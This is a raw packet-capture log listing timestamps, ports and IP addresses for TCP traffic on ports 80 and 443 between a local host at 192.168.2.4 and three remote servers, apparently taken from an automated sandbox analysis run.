Sep 6, 2024 08:17:07.365567923 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365602016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365607977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365618944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365623951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365662098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365664959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365668058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365679026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.365704060 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365725040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.365725040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.366358042 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.366369009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.366379976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.366642952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.366648912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.366658926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.366663933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.366730928 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.368863106 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.368879080 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.368906975 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.368936062 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.368936062 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.368944883 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.369735956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.369741917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.369748116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.369766951 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.369986057 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.370001078 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.370024920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.370059013 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.370059013 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.370064974 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.370129108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.370135069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.370146036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.370151043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.370155096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.370162010 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.370208979 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.370208979 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.370618105 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.370632887 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.370698929 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.370698929 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.370703936 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.372279882 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.373370886 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.373390913 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.373455048 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.373455048 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.373459101 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.374047041 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.374066114 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.374083042 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.374087095 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.374111891 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.375215054 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.375227928 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.375245094 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.375248909 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.375276089 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.375276089 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.376727104 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.392394066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.392400026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.392446041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.392458916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.392465115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.392471075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.392477036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.392499924 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.392898083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.392951012 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.395148039 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.417164087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.417171001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.417181015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.417341948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.417347908 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.417360067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.417365074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.417370081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.417397022 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.417417049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.417417049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.422548056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.422580957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.422586918 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.422620058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.422687054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.422693014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.422698021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.422703981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.422848940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.422853947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.422861099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.422878981 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.422898054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.422904015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.422930956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.422933102 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.422936916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.422975063 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423042059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423048019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423053980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423058033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423069954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423075914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423094034 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423094034 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423115015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423120975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423137903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423155069 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423182964 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423357964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423363924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423374891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423398018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423418045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423424006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423434973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423439980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423451900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423465014 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423515081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423521042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423532009 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423537970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423552036 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423590899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423597097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423607111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423635960 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423657894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423661947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423662901 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423662901 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423708916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423716068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423760891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423765898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423777103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423801899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423806906 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423808098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423837900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423883915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423890114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423899889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423906088 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423918009 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.423938990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423944950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.423973083 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.424809933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424814939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424825907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424848080 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.424910069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424915075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424926043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424931049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424945116 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.424972057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.424972057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.424974918 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424983025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424988031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.424993992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.425004005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.425034046 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.425056934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.425127983 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.425138950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425143957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425148010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425151110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.425153017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425163984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425170898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425177097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425182104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425192118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.425204039 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425231934 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425231934 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425365925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425370932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425383091 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425419092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425425053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425437927 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425438881 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425451040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425456047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425506115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425512075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425527096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425533056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425554037 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425568104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425574064 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425582886 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425582886 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425632000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425638914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425648928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425673008 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425719023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425724983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425738096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425743103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425749063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425761938 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425779104 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425779104 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.425973892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425981045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425986052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425990105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425996065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.425997019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426000118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426023960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426029921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426033974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426034927 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426035881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426068068 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426175117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426206112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426311970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426316023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426347017 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426362038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426367998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426378965 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426410913 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426415920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426420927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426426888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426441908 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426585913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426589966 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426600933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426605940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426610947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426642895 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426642895 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426642895 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426660061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426666021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426676035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426695108 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.426703930 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.426774979 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.427191973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.427197933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.427203894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.427227020 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.427263975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.427268982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.427279949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.427284956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.427289963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.427321911 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.427321911 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.427321911 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.428036928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.428050995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.428060055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.428077936 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.428107977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.428112984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.428117990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.428123951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.428138018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.428147078 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.428154945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.428188086 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.430541992 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.438306093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438311100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438317060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438342094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438348055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438354015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438359976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438374996 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438467026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438472986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438484907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438489914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438496113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438500881 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438524008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438529015 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438538074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438544035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438560963 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438568115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438571930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438584089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438596010 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438627005 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438627958 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438750982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438756943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438767910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438772917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438779116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438783884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438791037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438796997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438810110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438817024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438824892 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438834906 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438851118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438905954 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.438915968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438921928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438932896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438966036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438971043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438982010 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.438998938 CEST	49734	80	192.168.2.4	176.113.115.33
